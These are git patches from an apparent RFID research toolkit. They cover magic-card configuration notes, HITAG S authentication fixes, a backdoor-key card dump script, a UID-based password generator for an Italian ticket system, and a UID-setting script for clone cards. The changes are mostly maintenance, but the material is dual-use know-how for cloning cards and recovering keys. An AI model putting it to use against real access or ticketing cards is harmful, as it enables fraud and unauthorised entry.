5A ............. Magic auth enabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 85 00 ......................................... Magic wakeup disabled +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 00 ....................... Block 0 Direct Write Disabled (CUID) +[+] 00 .................... Unknown +[+] 00 ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 5A .............. Shadow mode enabled +[+] 5A ........... Magic auth enabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands @@ -1420,19 +1420,19 @@ Could be manually validated with the configuration block value. ``` [usb] pm3 --> hf mf gdmcfg [+] Config... 85 00 00 00 00 00 00 5A 00 FF 00 5A 00 00 00 08 -[+] 85 00 .......................................... Magic wakeup disabled -[+] 00 ....................................... Magic wakeup style Gen1a 40(7)/43 -[+] 00 00 00 .............................. Unknown -[+] 00 ........................... Key B use allowed when readable by ACL -[+] 5A ........................ Block 0 Direct Write Enabled (CUID) -[+] 00 ..................... Unknown -[+] FF .................. MFC EV1 personalization: 4B UID from Block 0 -[+] 00 ............... Shadow mode disabled -[+] 5A ............. Magic auth enabled -[+] 00 ........... Static encrypted nonce disabled -[+] 00 ......... MFC EV1 signature disabled -[+] 00 ...... Unknown -[+] 08 ... SAK +[+] 85 00 ......................................... Magic wakeup disabled +[+] 00 ...................................... Magic wakeup style Gen1a 40(7)/43 +[+] 00 00 00 ............................. Unknown +[+] 00 .......................... Key B use allowed when readable by ACL +[+] 5A ....................... Block 0 Direct Write Enabled (CUID) +[+] 00 .................... Unknown +[+] FF ................. MFC EV1 personalization: 4B UID from Block 0 +[+] 00 .............. Shadow mode disabled +[+] 5A ........... Magic auth enabled +[+] 00 ........ Static encrypted nonce disabled +[+] 00 ..... MFC EV1 signature disabled +[+] 00 .. Unknown +[+] 08 SAK ``` ### Commands From 612aae86581d9189c1b169ea4e35a13b42ba5290 Mon Sep 17 00:00:00 2001 From: Ember 'n0emis' Keske Date: Sat, 19 Oct 2024 13:44:05 +0200 Subject: [PATCH 021/155] lf hitag hts: correct byteorder for authentication --- armsrc/hitagS.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index edee23a4d..060ffb3bf 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -70,7 +70,7 @@ static uint32_t reader_selected_uid; static int rotate_uid = 0; static int sof_bits; // number of start-of-frame bits static uint8_t pwdh0, pwdl0, pwdl1; // password bytes -static uint8_t rnd[] = {0x74, 0x12, 0x44, 0x85}; // random number +static uint8_t rnd[] = {0x85, 0x44, 0x12, 0x74}; // random number static uint16_t timestamp_high = 0; // Timer Counter 2 overflow count, ~47min #define TIMESTAMP (AT91C_BASE_TC2->TC_SR &AT91C_TC_COVFS ? timestamp_high += 1 : 0, ((timestamp_high << 16) + AT91C_BASE_TC2->TC_CV) / T0) @@ -536,7 +536,7 @@ static void hts_handle_reader_command(uint8_t *rx, const size_t rxlen, rotate_uid++; *txlen = 32; // init crypt engine - state = ht2_hitag2_init(reflect48(tag.data.s.key), reflect32(tag.data.s.uid_le), reflect32(*(uint32_t *)rx)); + state = ht2_hitag2_init(REV64(tag.data.s.key), REV32(tag.data.s.uid_le), REV32(*(uint32_t *)rx)); DBG Dbhexdump(8, tx, false); for (int i = 0; i < 4; i++) { @@ -1157,7 +1157,7 @@ static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t siz key_le = *(uint64_t *)packet->key; - uint64_t state = ht2_hitag2_init(reflect48(key_le), reflect32(tag.data.s.uid_le), reflect32(*(uint32_t *)rnd)); + uint64_t state = ht2_hitag2_init(REV64(key_le), REV32(tag.data.s.uid_le), REV32(*(uint32_t *)rnd)); uint8_t auth_ks[4]; for (int i = 0; i < 4; i++) { @@ -1249,7 +1249,7 @@ static int hts_select_tag(const lf_hitag_data_t *packet, uint8_t *tx, size_t siz pwdl1 = 0; if (packet->cmd == HTSF_KEY) { - uint64_t state = ht2_hitag2_init(reflect48(key_le), reflect32(tag.data.s.uid_le), reflect32(*(uint32_t *)rnd)); + uint64_t state = ht2_hitag2_init(REV64(key_le), REV32(tag.data.s.uid_le), REV32(*(uint32_t *)rnd)); for (int i = 0; i < 4; i++) { ht2_hitag2_byte(&state); } From 29a16b1d54f9caf6750ee6573a5585725f49bef7 Mon Sep 17 00:00:00 2001 From: Akury83 <87064827+Akury83@users.noreply.github.com> Date: Sun, 27 Oct 2024 15:49:35 +1100 Subject: [PATCH 022/155] Update to fix some small USCUID-UL errors and add new developments Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com> --- doc/magic_cards_notes.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index df7452259..55375da84 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -2113,9 +2113,9 @@ Possible tag wakeup mechanisms are: ^^^^ >> Gen1a mode (works with bitflip) ^^ >> Magic wakeup command (00 for 40-43; 85 for 20-23) ^^ >> Config available using regular mode (ON: A0) - ^^ >> Do not reply to 1B, making auth impossible - ^^ >> Do not enforce OTP properties (ON: A0) - ^^ >> Maximum memory configuration* + ^^ >> Auth type (00 = PWD mode, 0A = 2TDEA mode for UL-C) + ^^ >> CUID mode, allows writing to blocks 0-3 (ON: A0) + ^^ >> Maximum memory configuration, please see below * ^^^^^^^^ ^^^^^^^^ >> Version info * This isn't a customizable value - it's a preset. So far: @@ -2150,24 +2150,24 @@ F1: 00000000 ^^^^^^^^ >> Unknown, usually always 00 F2: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 0 + ^^ >> Tearing 0 F3: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 1 + ^^ >> Tearing 1 F4: 000000BD - ^^^^^^ >> Unknown, usually always 00 - ^^ >> Unknown, usually always BD, possible tearing counter value? + ^^^^^^ >> Counter 2 + ^^ >> Tearing 2 F5: 00000000 ^^^^^^^^ >> Unknown, usually always 00 F6: 44000400 ^^^^ >> ATQA in byte reverse order. 4400 = ATQA of 0044 - ^^ >> Unknown, usually always set to 04. Changing this value also has something to do with the SAK value in the next byte - ^^ >> SAK, if previous byte set to 04 + ^^ >> SAK1, usually set to 04 to call for CL2 + ^^ >> SAK2, card uses this as SAK F7: 88AF0000 ^^ >> First byte of UID BCC calculation, for Ultralight family is always 88 per the datasheet From 88385c9b80c31bc5410700b6ecc9b90d0914c8b4 Mon Sep 17 00:00:00 2001 From: Akury83 <87064827+Akury83@users.noreply.github.com> Date: Sun, 27 Oct 2024 17:21:35 +1100 Subject: [PATCH 023/155] Update magic_cards_notes.md Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com> --- doc/magic_cards_notes.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index 55375da84..c64504530 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -2114,7 +2114,7 @@ Possible tag wakeup mechanisms are: ^^ >> Magic wakeup command (00 for 40-43; 85 for 20-23) ^^ >> Config available using regular mode (ON: A0) ^^ >> Auth type (00 = PWD mode, 0A = 2TDEA mode for UL-C) - ^^ >> CUID mode, allows writing to blocks 0-3 (ON: A0) + ^^ >> CUID mode, allows writing to blocks 0-3 (ON: 0A) ^^ >> Maximum memory configuration, please see below * ^^^^^^^^ ^^^^^^^^ >> Version info From 7fa1a204f4c7d66b436fa075d97595705a0b5277 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sun, 27 Oct 2024 11:19:59 +0100 Subject: [PATCH 024/155] Add examples to fetch prefs from Lua & Python scripts --- .../experimental_client_with_swig/testembedded.lua | 12 ++++++++++++ client/experimental_client_with_swig/testembedded.py | 8 ++++++++ client/experimental_lib/example_lua/test.lua | 12 ++++++++++++ client/experimental_lib/example_py/test.py | 8 ++++++++ 4 files changed, 40 insertions(+) diff --git a/client/experimental_client_with_swig/testembedded.lua b/client/experimental_client_with_swig/testembedded.lua index e4ad8311e..5ed3a8ac0 100755 --- a/client/experimental_client_with_swig/testembedded.lua +++ b/client/experimental_client_with_swig/testembedded.lua @@ -11,3 +11,15 @@ end print("Device:", p.name) p:console("Rem passthru remark! :coffee:", true) + +local json = require("dkjson") +print("Fetching prefs:") +p:console("prefs show --json") +local prefs, err = json.decode(p.grabbed_output) +if not prefs then + print("Error decoding JSON: ", err) +else + print("Save path: ", prefs['file.default.savepath']) + print("Dump path: ", prefs['file.default.dumppath']) + print("Trace path:", prefs['file.default.tracepath']) +end diff --git a/client/experimental_client_with_swig/testembedded.py b/client/experimental_client_with_swig/testembedded.py index 6dbff0403..6bf5331bf 100755 --- a/client/experimental_client_with_swig/testembedded.py +++ b/client/experimental_client_with_swig/testembedded.py @@ -12,3 +12,11 @@ for line in p.grabbed_output.split('\n'): print(line) print("Device:", p.name) p.console("Rem passthru remark! :coffee:", True) + +import json +print("Fetching prefs:") +p.console("prefs show --json") +prefs = json.loads(p.grabbed_output) +print("Save path: ", prefs['file.default.savepath']) +print("Dump path: ", prefs['file.default.dumppath']) +print("Trace path:", prefs['file.default.tracepath']) diff --git a/client/experimental_lib/example_lua/test.lua b/client/experimental_lib/example_lua/test.lua index e8f7ad735..bc5c58368 100755 --- a/client/experimental_lib/example_lua/test.lua +++ b/client/experimental_lib/example_lua/test.lua @@ -13,3 +13,15 @@ end print("Device:", p.name) p:console("Rem passthru remark! :coffee:", true) + +local json = require("dkjson") +print("Fetching prefs:") +p:console("prefs show --json") +local prefs, err = json.decode(p.grabbed_output) +if not prefs then + print("Error decoding JSON: ", err) +else + print("Save path: ", prefs['file.default.savepath']) + print("Dump path: ", prefs['file.default.dumppath']) + print("Trace path:", prefs['file.default.tracepath']) +end diff --git a/client/experimental_lib/example_py/test.py b/client/experimental_lib/example_py/test.py index 7d9b4580a..99e104b8f 100755 --- a/client/experimental_lib/example_py/test.py +++ b/client/experimental_lib/example_py/test.py @@ -12,3 +12,11 @@ for line in p.grabbed_output.split('\n'): print(line) print("Device:", p.name) p.console("Rem passthru remark! :coffee:", True) + +import json +print("Fetching prefs:") +p.console("prefs show --json") +prefs = json.loads(p.grabbed_output) +print("Save path: ", prefs['file.default.savepath']) +print("Dump path: ", prefs['file.default.dumppath']) +print("Trace path:", prefs['file.default.tracepath']) From 843bb46705aa09ee3c4aecce7b442dbe5fdeccf5 Mon Sep 17 00:00:00 2001 From: Ember 'n0emis' Keske Date: Sun, 27 Oct 2024 13:17:42 +0100 Subject: [PATCH 025/155] hitagS sim: fix timing of receive probably a regression from timer changes in 911766b --- armsrc/hitagS.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index f269e0ea0..0856cc6eb 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -769,7 +769,7 @@ void hts_simulate(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol) { if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; + int rb = (AT91C_BASE_TC1->TC_RB / T0) + overflow; overflow = 0; // Reset timer every frame, we have to capture the last edge for timing @@ -780,15 +780,15 @@ void hts_simulate(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol) { if (start_time == 0) start_time = TIMESTAMP - HITAG_T_LOW; // Capture reader frame - if (ra >= HITAG_T_STOP) { + if (rb >= HITAG_T_STOP) { if (rxlen != 0) { //DbpString("weird0?"); } - } else if (ra >= HITAG_T_1_MIN) { + } else if (rb >= HITAG_T_1_MIN) { // '1' bit rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); rxlen++; - } else if (ra >= HITAG_T_0_MIN) { + } else if (rb >= HITAG_T_0_MIN) { // '0' bit rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); rxlen++; From e3c2e8660433a6b19ee55247fcc297de010e07b6 Mon Sep 17 00:00:00 2001 From: Xue Liu Date: Sun, 27 Oct 2024 19:51:23 +0100 Subject: [PATCH 026/155] Delete extra whitespace character in mf_backdoor_dump.py Delete the extra whitespace character in mf_backdoor_dump.py. This blank character prevents the for loop from trying the next backdoor key. Signed-off-by: Xue Liu --- client/pyscripts/mf_backdoor_dump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/pyscripts/mf_backdoor_dump.py b/client/pyscripts/mf_backdoor_dump.py index bb564544d..2831db5de 100644 --- a/client/pyscripts/mf_backdoor_dump.py +++ b/client/pyscripts/mf_backdoor_dump.py @@ -26,7 +26,7 @@ for bk, sz in BACKDOOR_KEYS: print("Error reading the tag:") print("\n".join(output)) break - elif "[-] Fill ( fail )" in output: + elif "[-] Fill ( fail )" in output: continue elif "[+] Fill ( ok )" not in output: print("Unexpected output, exiting:") From fe361cf30cafd9f6da90e6c02ef5154000d132ad Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 28 Oct 2024 00:48:23 +0100 Subject: [PATCH 027/155] Fixing experimental_lib/example_lua, thanks @jmichelp ! --- client/experimental_lib/example_lua/01link_lib.sh | 3 ++- client/experimental_lib/example_lua/test.lua | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/client/experimental_lib/example_lua/01link_lib.sh b/client/experimental_lib/example_lua/01link_lib.sh index 5f9fb5f68..317e94573 100755 --- a/client/experimental_lib/example_lua/01link_lib.sh +++ b/client/experimental_lib/example_lua/01link_lib.sh @@ -1,3 +1,4 @@ #!/bin/bash -ln -fs ../build/libpm3rrg_rdv4.so pm3.so +ln -sf ../build/libpm3rrg_rdv4.so pm3.so +ln -sf ../../lualibs/dkjson.lua . diff --git a/client/experimental_lib/example_lua/test.lua b/client/experimental_lib/example_lua/test.lua index bc5c58368..d7a165c49 100755 --- a/client/experimental_lib/example_lua/test.lua +++ b/client/experimental_lib/example_lua/test.lua @@ -1,4 +1,4 @@ -#!/usr/bin/env lua +#!/usr/bin/env lua5.4 local pm3 = require("pm3") p=pm3.pm3("/dev/ttyACM0") From 95acef16cbc2e02d8b0de2cb03d33d81ac725c00 Mon Sep 17 00:00:00 2001 From: Lucifer Voeltner Date: Mon, 28 Oct 2024 08:48:58 +0700 Subject: [PATCH 028/155] hf mfu info - specify reason for failing read --- client/src/cmdhfmfu.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index 154146c12..de2489dba 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -2396,6 +2396,7 @@ static int CmdHF14AMfUInfo(const char *Cmd) { status = ul_read(0x28, ulc_conf, sizeof(ulc_conf)); if (status <= 0) { PrintAndLogEx(ERR, "Error: tag didn't answer to READ UL-C"); + PrintAndLogEx(HINT, "Hint: tag is likely fully read protected"); DropField(); return PM3_ESOFT; } From 6a9e5a49c33e3d07e1ca91542d4f9c5a48cec05e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 28 Oct 2024 02:49:45 +0100 Subject: [PATCH 029/155] rename some lua scripts for persistancy --- ..._14a_read-ltocm.lua => hf_14a_read_ltocm.lua} | 0 ...keycalc_italy.lua => hf_mfu_pwdgen_italy.lua} | 16 +++++++++------- 2 files changed, 9 insertions(+), 7 deletions(-) rename client/luascripts/{hf_14a_read-ltocm.lua => hf_14a_read_ltocm.lua} (100%) rename client/luascripts/{hf_mfu_uidkeycalc_italy.lua => hf_mfu_pwdgen_italy.lua} (92%) diff --git a/client/luascripts/hf_14a_read-ltocm.lua b/client/luascripts/hf_14a_read_ltocm.lua similarity index 100% rename from client/luascripts/hf_14a_read-ltocm.lua rename to client/luascripts/hf_14a_read_ltocm.lua diff --git a/client/luascripts/hf_mfu_uidkeycalc_italy.lua b/client/luascripts/hf_mfu_pwdgen_italy.lua similarity index 92% rename from client/luascripts/hf_mfu_uidkeycalc_italy.lua rename to client/luascripts/hf_mfu_pwdgen_italy.lua index d2fbdadde..25b111866 100644 --- a/client/luascripts/hf_mfu_uidkeycalc_italy.lua +++ b/client/luascripts/hf_mfu_pwdgen_italy.lua @@ -2,7 +2,7 @@ local bin = require('bin') local getopt = require('getopt') local lib14a = require('read14a') local utils = require('utils') -local ansicolors = require('ansicolors') +local cl = require('ansicolors') copyright = '' author = "Iceman" @@ -10,13 +10,15 @@ version = 'v1.0.2' desc = [[ This script calculates mifare Ultralight-EV1 pwd based on uid diversification for an Italian ticketsystem Algo not found by me. -]] + +]].. "You can also look at the native pm3 command `" .. cl.yellow .. "hf mfu pwdgen -h" .. cl.reset .. "`\n" + example =[[ -- if called without, it reads tag uid - script run hf_mfu_uidkeycalc_italy + script run hf_mfu_pwdgen_italy -- - script run hf_mfu_uidkeycalc_italy -u 11223344556677 + script run hf_mfu_pwdgen_italy -u 11223344556677 ]] usage = [[ script run hf_mfu_uidkeycalc_italy -h -u " @@ -56,11 +58,11 @@ local function help() print(author) print(version) print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(cl.cyan..'Usage'..cl.reset) print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(cl.cyan..'Arguments'..cl.reset) print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(cl.cyan..'Example usage'..cl.reset) print(example) end -- From 3338bb21a60b932cc0f28a091b94d598e1eb6590 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 28 Oct 2024 03:24:52 +0100 Subject: [PATCH 030/155] fix some bad divisions, and code style applied --- CHANGELOG.md | 1 + client/luascripts/hf_mf_uscuid_prog.lua | 324 +++++++++++++++++------- 2 files changed, 227 insertions(+), 98 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1ab2736e5..64e6eb500 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001) - Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) - Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) - Added recovered iclass custom key to dictionary (@antiklesys) diff --git a/client/luascripts/hf_mf_uscuid_prog.lua b/client/luascripts/hf_mf_uscuid_prog.lua index b5dcbcd87..f98ae601e 100644 --- a/client/luascripts/hf_mf_uscuid_prog.lua +++ b/client/luascripts/hf_mf_uscuid_prog.lua @@ -2,33 +2,36 @@ local cmds = require('commands') local getopt = require('getopt') local lib14a = require('read14a') local utils = require('utils') -local ansicolors = require('ansicolors') +local cl = require('ansicolors') local bxor = bit32.bxor - copyright = '\nLicensed under GNU GPL v3.0. Team orangeBlue.' -author = 'Team '..ansicolors.yellow..'orange'..ansicolors.cyan..'Blue'..ansicolors.reset -- Disinformation -version = 'v1.0' -date = 'Created - Aug 2023' +author = 'Team '..cl.yellow..'orange'..cl.cyan..'Blue'..cl.reset -- Disinformation +version = 'v1.0.1' desc = [[ -Script to set UID on USCUID using any means possible. No warranties given! -See below for capabilities. +Script to set UID on USCUID using any means possible. This script is compatible with the ICs listed below: * GDMIC * UCUID * M1-7B * Other chips, showing up as "Gen 4 GDM" -This script does not claim full compatibility with the ICs listed below: + +This script does *NOT* claim full compatibility with the ICs listed below: * UFUID * PFUID* -WHY? Unfortunately, these are cut down versions. Checks show that they only acknowledge bytes 0-1, 7, 8, and 15 of the configuration. +Why? +Unfortunately, these are cut down versions. +Checks show that they only acknowledge bytes 0-1, 7, 8, and 15 of the configuration. * WARNING: The config commands are inversed. Nothing will work. -Ready to start? Set the first 2 bytes of your config to 7AFF and use -t 4. +Ready to start? + +Set the first 2 bytes of your config to 7AFF and use -t 4. + ]] example = [[ -- Set UID 7 bytes long via 20-23 wakeup @@ -51,8 +54,10 @@ arguments = [[ -B Read backdoor block -S Read sector -E Read backdoor sector + [ConfigStar] To enable an option, pass "1". To disable, pass "0". Unmarked data will not be edited. + -g Gen1 mode -c Gen1 command (1 for 20-23; 0 for 40-43) -b Block key B if readable by ACL @@ -63,6 +68,7 @@ arguments = [[ -n Static encrypted nonces -r Signature sector ]] + changelog = [[ Welcome, proxmark user! Here's a secret changelog of this script as its' life started. @@ -78,23 +84,26 @@ v1.0 - Memory access. Just like in the proxmark client. -- [[ Start introducing functions that get called later on ]] -- -- give up local function oops(err) - print(ansicolors.red.."[!]"..ansicolors.reset..' ERROR:', err) + print(cl.red.."[!]"..cl.reset..' ERROR:', err) core.clearCommandBuffer() return nil, err end + local function help() print(copyright) print(author) print(version) print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(cl.cyan..'Usage'..cl.reset) print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(cl.cyan..'Arguments'..cl.reset) print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(cl.cyan..'Example usage'..cl.reset) print(example) end + -- Sorry, didn't care to figure out custom bit amounts with the 14a lua lib. So here's this thing +-- 20/23 local function wupc2() return { [0] = 'hf 14a raw -akb 7 20', @@ -102,6 +111,7 @@ local function wupc2() } end +-- 40/43 local function wupc() return{ [0] = 'hf 14a raw -akb 7 40', @@ -112,6 +122,7 @@ end local function makenuid(uid) core.console('ana nuid -d '..uid) end + local function sendCmds(cmds) for i = 0, #cmds do if cmds[i] then @@ -120,9 +131,15 @@ local function sendCmds(cmds) end end end + local function wakeupmagic(writetype) - if writetype=="2" then sendCmds(wupc2()) elseif writetype=="4" then sendCmds(wupc()) end + if writetype == "2" then + sendCmds(wupc2()) + elseif writetype == "4" then + sendCmds(wupc()) + end end + local function calculate_block0(useruid) local uidbytes = utils.ConvertHexToBytes(useruid) local i = 1 @@ -130,31 +147,43 @@ local function calculate_block0(useruid) local length = #useruid / 2; -- bcc - for i = 3, length, 1 do bcc = bxor(bcc, uidbytes[i]) end + for i = 3, length, 1 do + bcc = bxor(bcc, uidbytes[i]) + end -- block0 local block0 = "" - for i = 1, length, 1 do block0 = block0..string.format('%02X', uidbytes[i]) end + for i = 1, length, 1 do + block0 = block0..string.format('%02X', uidbytes[i]) + end return block0..string.format('%02X', bcc) end + local function cltwo_block0(uid) payload = uid payload = payload .. "884400000000000000" return payload end + local function SectorHeader(sector) - print("["..ansicolors.yellow.."="..ansicolors.reset.."] # | sector "..ansicolors.green..string.format("%02d", sector)..ansicolors.reset.." / "..ansicolors.green..string.format("0x%02X", sector)..ansicolors.reset) - print("["..ansicolors.yellow.."="..ansicolors.reset.."] ----+------------------------------------------------") + if sector == nil then return end + + print("["..cl.yellow.."="..cl.reset.."] # | sector "..cl.green..string.format("%02d", sector)..cl.reset.." / "..cl.green..string.format("0x%02X", sector)..cl.reset) + print("["..cl.yellow.."="..cl.reset.."] ----+------------------------------------------------") end + local function BlockParser(data, block) - if block == "0" or block == 0 then -- for block 0 - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..ansicolors.red..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..ansicolors.reset) - elseif (block+1)%4 == 0 then -- for ST - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..ansicolors.yellow..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..ansicolors.magenta..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..ansicolors.reset..string.sub(data,19,20).." "..ansicolors.yellow..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..ansicolors.reset) - else - print("["..ansicolors.yellow.."="..ansicolors.reset.."] "..string.format("%02d", block).." | "..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)) end + if data == nil or block == nil then return end + if block == "0" or block == 0 then -- for block 0 + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..cl.red..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..cl.reset) + elseif (block+1)%4 == 0 then -- for ST + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..cl.yellow..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..cl.magenta..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..cl.reset..string.sub(data,19,20).." "..cl.yellow..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)..cl.reset) + else + print("["..cl.yellow.."="..cl.reset.."] "..string.format("%02d", block).." | "..string.sub(data,1,2).." "..string.sub(data,3,4).." "..string.sub(data,5,6).." "..string.sub(data,7,8).." "..string.sub(data,9,10).." "..string.sub(data,11,12).." "..string.sub(data,13,14).." "..string.sub(data,15,16).." "..string.sub(data,17,18).." "..string.sub(data,19,20).." "..string.sub(data,21,22).." "..string.sub(data,23,24).." "..string.sub(data,25,26).." "..string.sub(data,27,28).." "..string.sub(data,29,30).." "..string.sub(data,31,32)) + end end + local function sendRaw(rawdata, keep) flags = lib14a.ISO14A_COMMAND.ISO14A_RAW + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC if keep == true then flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT end @@ -185,10 +214,10 @@ local function readconf() end local function writeconf(configbuffer) configbuffer=utils.ConvertBytesToHex(configbuffer) - print(ansicolors.yellow.."[|]".. ansicolors.reset .." The new config is: "..configbuffer) + print(cl.yellow.."[|]".. cl.reset .." The new config is: "..configbuffer) if sendRaw("E100", true) == "0A" then if sendRaw(configbuffer, true) == "0A" then - print(ansicolors.yellow.."[/]".. ansicolors.reset .." Config updated successfully") + print(cl.yellow.."[/]".. cl.reset .." Config updated successfully") else oops("Tag did not ACK config update!") lib14a.disconnect() @@ -244,17 +273,20 @@ function main(args) if o == 'w' then wipe = true end -- So one odd thing I noticed is the bool args like -h, -w don't work without a 2nd argument. So you now must do -h 1.. what? Why? -- ConfigStar - if o == 'g' then if a == "1" then gen1 = true elseif a == "0" then gen1 = false end end - if o == 'c' then if a == "1" then gen1com= true elseif a == "0" then gen1com= false end end - if o == 'b' then if a == "1" then keyblock= true elseif a == "0" then keyblock= false end end - if o == '2' then if a == "1" then cuid= true elseif a == "0" then cuid= false end end - if o == '7' then if a == "1" then cl2mode= true elseif a == "0" then cl2mode= false end end - if o == 'd' then if a == "1" then shadowmode = true elseif a == "0" then shadowmode = false end end - if o == 'a' then if a == "1" then magicauth= true elseif a == "0" then magicauth= false end end - if o == 'n' then if a == "1" then statenc= true elseif a == "0" then statenc= false end end - if o == 'r' then if a == "1" then sigsec = true elseif a == "0" then sigsec= false end end + if o == 'g' then if a == "1" then gen1 = true elseif a == "0" then gen1 = false end end + if o == 'c' then if a == "1" then gen1com= true elseif a == "0" then gen1com= false end end + if o == 'b' then if a == "1" then keyblock= true elseif a == "0" then keyblock= false end end + if o == '2' then if a == "1" then cuid= true elseif a == "0" then cuid= false end end + if o == '7' then if a == "1" then cl2mode= true elseif a == "0" then cl2mode= false end end + if o == 'd' then if a == "1" then shadowmode = true elseif a == "0" then shadowmode = false end end + if o == 'a' then if a == "1" then magicauth= true elseif a == "0" then magicauth= false end end + if o == 'n' then if a == "1" then statenc= true elseif a == "0" then statenc= false end end + if o == 'r' then if a == "1" then sigsec = true elseif a == "0" then sigsec= false end end + end + + if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then + configwrite = true end - if gen1 ~= nil or gen1com~= nil or keyblock~= nil or cuid~= nil or cl2mode~= nil or shadowmode~= nil or magicauth~= nil or statenc~= nil or sigsec~= nil then configwrite = true end if targetbblk then if tonumber(targetbblk)>63 then 